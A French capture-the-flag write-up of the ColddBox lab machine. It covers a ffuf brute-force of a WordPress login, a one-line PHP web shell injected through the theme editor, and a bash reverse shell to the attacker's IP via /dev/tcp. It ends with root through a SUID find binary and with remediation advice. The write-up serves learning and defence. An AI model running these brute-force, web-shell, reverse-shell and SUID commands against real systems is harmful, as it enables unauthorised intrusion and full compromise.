ColddBox
WordPress 5.5.1 sur ColddBox (OffSec PG, Easy) — bruteforce de wp-login à partir d'un nom d'utilisateur laissé dans /hidden/, RCE via l'éditeur de thème, root en un pas via SUID sur /usr/bin/find.
wordpress·brute-force·rce·suid·gtfobins
Contexte & périmètre
Machine cible : ColddBox — parcours OffSec Proving Grounds, tier Easy. Boîte Linux unique, réseau isolé sur le VPN OffSec.
- Cible :
192.168.59.239 - Attaquant :
192.168.49.59(Kali via OpenVPN)
Reconnaissance web
Un nmap -sC -sV ne remonte qu’un service utile : Apache sur le port 80.
On saute donc directement à l’énumération HTTP.
Découverte de contenu

common.txt de seclists révèle un WordPress standard et un dossier non standard /hidden/.ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u http://192.168.59.239/FUZZ
Deux choses intéressantes :
- Un WordPress complet (
/wp-admin,/wp-content,/wp-includes,/wp-login.php,/xmlrpc.php) - Un dossier
/hidden/qui n’est pas standard WP → à visiter en premier
Le dossier /hidden/

Cadeau du CTF designer : la note révèle deux prénoms (C0ldd, Hugo) et un
contexte de “changement de mot de passe”. C0ldd a la tête d’un login WordPress.
La page de login WordPress

/wp-login.php — cible du bruteforce.Accès initial — bruteforce de wp-login
Confirmation de l’utilisateur
Un login manuel avec C0ldd et n’importe quel mot de passe suffit à confirmer
que l’utilisateur existe : WordPress renvoie “le mot de passe est incorrect
pour l’utilisateur C0ldd” et non un message générique.

C0ldd. On peut brute-forcer sans crainte de fausse piste.Repérage des paramètres POST
Avant de lancer ffuf en POST, un coup d’œil au Network devtools sur une
requête réelle donne les noms exacts des champs (log, pwd, wp-submit) —
indispensable pour construire le body.

log, pwd, wp-submit) et l’URL de redirection en cas de succès (/wp-admin/).Bruteforce ciblé
Sur une soumission ratée, WordPress renvoie 200 (rend le formulaire).
Sur une soumission valide, il renvoie 302 vers /wp-admin/. Je filtre
donc sur 302 (-mc 302) — seul le candidat gagnant sortira :
ffuf -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'log=C0ldd&pwd=FUZZ' \
-u http://192.168.59.239/wp-login.php \
-mc 302

9876543210 — mot de passe faible extrêmement classique.Exploitation — RCE via l’éditeur de thème
Authentifié comme C0ldd (rôle administrator), WordPress offre un chemin RCE
bien connu : Appearance → Editor permet à un admin d’éditer n’importe quel
fichier PHP du thème actif. J’ajoute une backdoor minimale en tête de 404.php
du thème Twenty Fifteen :
<?php system($_GET["cmd"]); ?>
![Éditeur de thème WordPress avec system($_GET['cmd']) injecté dans 404.php](/images/coldboxeasy/7.png)
system($_GET[“cmd”]) insérée en tête du template 404.php. Le fichier est immédiatement sauvegardé côté serveur.Test de l’exécution
Le template est atteignable directement via son URL statique — pas besoin de provoquer une vraie erreur 404 :
curl -s "http://192.168.59.239/wp-content/themes/twentyfifteen/404.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data.Reverse shell
Listener côté Kali :

Payload envoyé via curl -G --data-urlencode — laisser curl URL-encoder
proprement les caractères spéciaux évite de se battre avec les échappements
locaux :
curl -G "http://192.168.59.239/wp-content/themes/twentyfifteen/404.php" \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/192.168.49.59/4444 0>&1"'

—data-urlencode couplé à -G transmet le paramètre en query string proprement encodé.
www-data@ColddBox-Easy.Stabilisation TTY
Pattern classique en 4 étapes :
- Spawn d’un pty via python
- Export du
TERM Ctrl-Zpour suspendre côté attaquantstty raw -echo; fgcôté Kali, puis synchroniser les dimensions

Pour éviter que less ou vim s’affichent tronqués, on synchronise les
dimensions du pty distant avec celles du terminal local :

stty size → à reporter côté cible via stty rows 48 cols 236.python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl-Z côté cible
stty raw -echo; fg # ← côté Kali
stty rows 48 columns 236 # ← côté cible, dimensions du stty size sur Kali
Élévation de privilèges — SUID sur find
Énumération SUID
find / -type f -perm -4000 2>/dev/null sort une liste presque standard —
à l’exception d’un intrus qui n’a rien à faire avec le bit SUID :

/usr/bin/find avec SUID — anomalie flagrante, tous les autres (su, mount, sudo, passwd, pkexec…) sont attendus.Vérification GTFOBins
GTFOBins liste précisément trois primitives exploitables sur find en SUID :
Shell, File write, File read.


-p (voir plus bas).Lecture directe des flags (sans dropper un shell)
Avant même de dropper un shell root, on peut lire n’importe quel fichier
protégé en piggybackant sur -exec cat — puisque find tourne EUID root,
tout ce qu’elle exécute hérite du privilège :
find /root/proof.txt -exec cat {} \;
# → contenu du fichier (proof.txt hash) lu depuis www-data
C’est la primitive File read de GTFOBins, appliquée sans détour.
Shell root
Pour obtenir un shell interactif root, il faut savoir que bash (comme dash)
réinitialise l’EUID à l’UID réel au démarrage — sauf avec le drapeau
-p. Sans lui, on récupère un shell… www-data. Payload correct :
find . -exec /bin/sh -p \; -quit

whoami → root, ls /root liste les deux fichiers, cat /root/proof.txt renvoie le hash (redacted).Remédiation
Côté WordPress
-
Rate-limit + MFA sur
wp-login.php(plugin Limit Login Attempts Reloaded, ou WAF en amont). L’attaque marche parce que le service accepte un débit illimité. -
Interdire l’édition de fichiers depuis l’admin — une ligne dans
wp-config.phpneutralise entièrement le vecteur RCE via l’éditeur de thème :define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); -
Nettoyer les répertoires “orphelins” comme
/hidden/— un designer prod n’a rien à y laisser traîner, un attaquant lit tout. -
Politique de mots de passe :
9876543210est présent dans toutes les leaked-db. Interdire les patterns numériques triviaux au niveau du CMS.
Côté système
- Retirer le SUID sur
/usr/bin/find:chmod u-s /usr/bin/find. Audit périodique viafind / -perm -4000 -type fintégré à l’inventaire des exécutables privilégiés. - Least privilege : si
findavait vraiment besoin d’un accès élevé pour un cas d’usage précis, unsudoersciblé vaut mieux qu’un SUID global.
Ce que je retiens
- Le pattern “username laissé dans une page publique + wp-login sans rate-limit” est encore courant sur les vieux WordPress — ffuf en POST filtré par code de retour l’automatise en secondes.
- L’éditeur de thème WP est une RCE authentifiée triviale — la mitigation
DISALLOW_FILE_EDITest un one-liner et devrait être un défaut d’installation. - Le drapeau
-psur un shell SUID est une subtilité qui tue un exploit qui devrait marcher. À mémoriser. curl -G --data-urlencodeévite les guerres d’échappement — plus fiable que bricoler avec des quotes imbriquées quand le payload contient>&,/,".
Outils
- ffuf
- curl
- nc
- python3
- gtfobins